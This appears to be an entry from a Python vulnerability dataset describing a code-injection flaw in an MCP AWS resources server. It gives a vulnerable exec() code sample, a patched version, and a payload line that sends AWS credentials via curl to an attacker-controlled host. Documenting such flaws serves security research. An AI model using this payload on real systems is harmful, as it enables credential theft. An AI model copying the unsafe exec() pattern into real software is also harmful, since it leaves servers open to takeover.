CVE-2025-63604
Code injection in execute_query via unsafe exec() allows remote code execution.
- CVSS 6.5
- CWE-77
- Input Validation and Sanitization
- Remote
A code injection vulnerability exists in baryhuang/mcp-server-aws-resources-python 0.1.0 that allows remote code execution through insufficient input validation in the execute_query method. The vulnerability stems from the exposure of dangerous Python built-in functions (__import__, getattr, hasattr) in the execution namespace and the direct use of exec() to execute user-supplied code. An attacker can craft malicious queries to execute arbitrary Python code, leading to AWS credential theft (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY), file system access, environment variable disclosure, and potential system compromise. The vulnerability allows attackers to bypass intended security controls and gain unauthorized access to sensitive AWS resources and credentials stored in the server's environment.
- CWE
- CWE-77
- CVSS base score
- 6.5
- Published
- 2025-11-18
- OWASP
- A03 Injection
- Orthogonal defect classification
- Checking
- Code defect classification
- Incorrect Algorithm
- Category
- Input Validation and Sanitization
- Subcategory
- Command Injection
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- baryhuang/mc
- Fixed by upgrading
- Yes
Solution
No patched version is available for this vulnerability.
Vulnerable code sample
import os
import sys
# Simulate the vulnerable server environment with AWS credentials and other secrets
os.environ['AWS_ACCESS_KEY_ID'] = 'AKIAIOSFODNN7EXAMPLE'
os.environ['AWS_SECRET_ACCESS_KEY'] = 'wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY'
os.environ['AWS_SESSION_TOKEN'] = 'AQoDYXdzEJr...<truncated>...EXAMPLE'
os.environ['DB_CONNECTION_STRING'] = 'postgresql://user:password@host:port/database'
class MCP_Server:
"""
A simulated server class based on the vulnerability description for
baryhuang/mcp-server-aws-resources-python version 0.1.0.
"""
def execute_query(self, query: str):
"""
Executes a user-supplied query in a supposedly restricted environment.
The vulnerability lies in the direct use of exec() and the exposure
of dangerous built-in functions.
"""
print(f"Executing query: {query}")
# The developer attempts to create a "safe" namespace but fails by including
# powerful built-ins that allow for sandbox escape and code injection.
execution_namespace = {
"__builtins__": {
"print": print,
"len": len,
"dict": dict,
"list": list,
"str": str,
"int": int,
# The inclusion of the following built-ins creates the vulnerability
"__import__": __import__,
"getattr": getattr,
"hasattr": hasattr
}
}
try:
# The direct use of exec() on user-controlled input is the core issue.
exec(query, execution_namespace)
except Exception as e:
print(f"An error occurred: {e}", file=sys.stderr)
if __name__ == '__main__':
# This block demonstrates how an attacker would exploit the vulnerability.
server = MCP_Server()
# Attacker's crafted query to steal environment variables
malicious_query = "os_module = __import__('os'); print(os_module.environ)"
print("--- DEMONSTRATING THE VULNERABILITY ---")
# The server unintentionally executes the attacker's code.
server.execute_query(malicious_query)
print("--- VULNERABILITY DEMONSTRATED ---")Patched code sample
import os
import re
class FixedServer:
"""
A corrected implementation that replaces dangerous code execution with a safe,
purpose-built query parser.
"""
def __init__(self):
# Simulate some data that the "query" would act upon
self.data = {
"users": [{"id": 1, "name": "Alice"}, {"id": 2, "name": "Bob"}],
"products": [{"id": 101, "name": "Widget"}, {"id": 102, "name": "Gadget"}],
"config": {"version": "1.1", "enabled": True}
}
# Simulate the presence of sensitive environment variables
os.environ["AWS_ACCESS_KEY_ID"] = "FAKE_KEY_FOR_DEMO"
os.environ["AWS_SECRET_ACCESS_KEY"] = "FAKE_SECRET_FOR_DEMO"
def execute_query(self, query_path: str):
"""
Safely retrieves data from the self.data object based on a dot-separated path.
This method avoids executing user input. Instead, it parses the query_path
as a simple data accessor path, preventing any form of code injection.
Args:
query_path: A string representing the path to the data,
e.g., "users.0.name" or "config.version".
Returns:
The requested data or None if the path is invalid or not found.
"""
# Input validation: only allow alphanumeric characters, dots, and underscores.
# This is a first line of defense against more complex injection attempts.
if not re.match(r'^[a-zA-Z0-9_.]+$', query_path):
# Invalid characters in path, reject immediately.
return None
parts = query_path.split('.')
current_data = self.data
for part in parts:
if isinstance(current_data, dict):
# If current data is a dictionary, treat the part as a key.
if part in current_data:
current_data = current_data[part]
else:
return None # Key not found
elif isinstance(current_data, list):
# If current data is a list, try to treat the part as an index.
try:
index = int(part)
if 0 <= index < len(current_data):
current_data = current_data[index]
else:
return None # Index out of bounds
except (ValueError, IndexError):
return None # Part is not a valid integer index or index is invalid
else:
# Reached a primitive value before the path was fully traversed.
return None
return current_dataPayload
__import__('os').system('curl http://attacker-controlled-server.com/?creds=$(echo -n $AWS_ACCESS_KEY_ID:$AWS_SECRET_ACCESS_KEY | base64)')
Cite this entry
@misc{vaitp:cve202563604,
title = {{Code injection in execute_query via unsafe exec() allows remote code execution.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2025},
note = {VAITP Python Vulnerability Dataset, entry CVE-2025-63604},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-63604/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
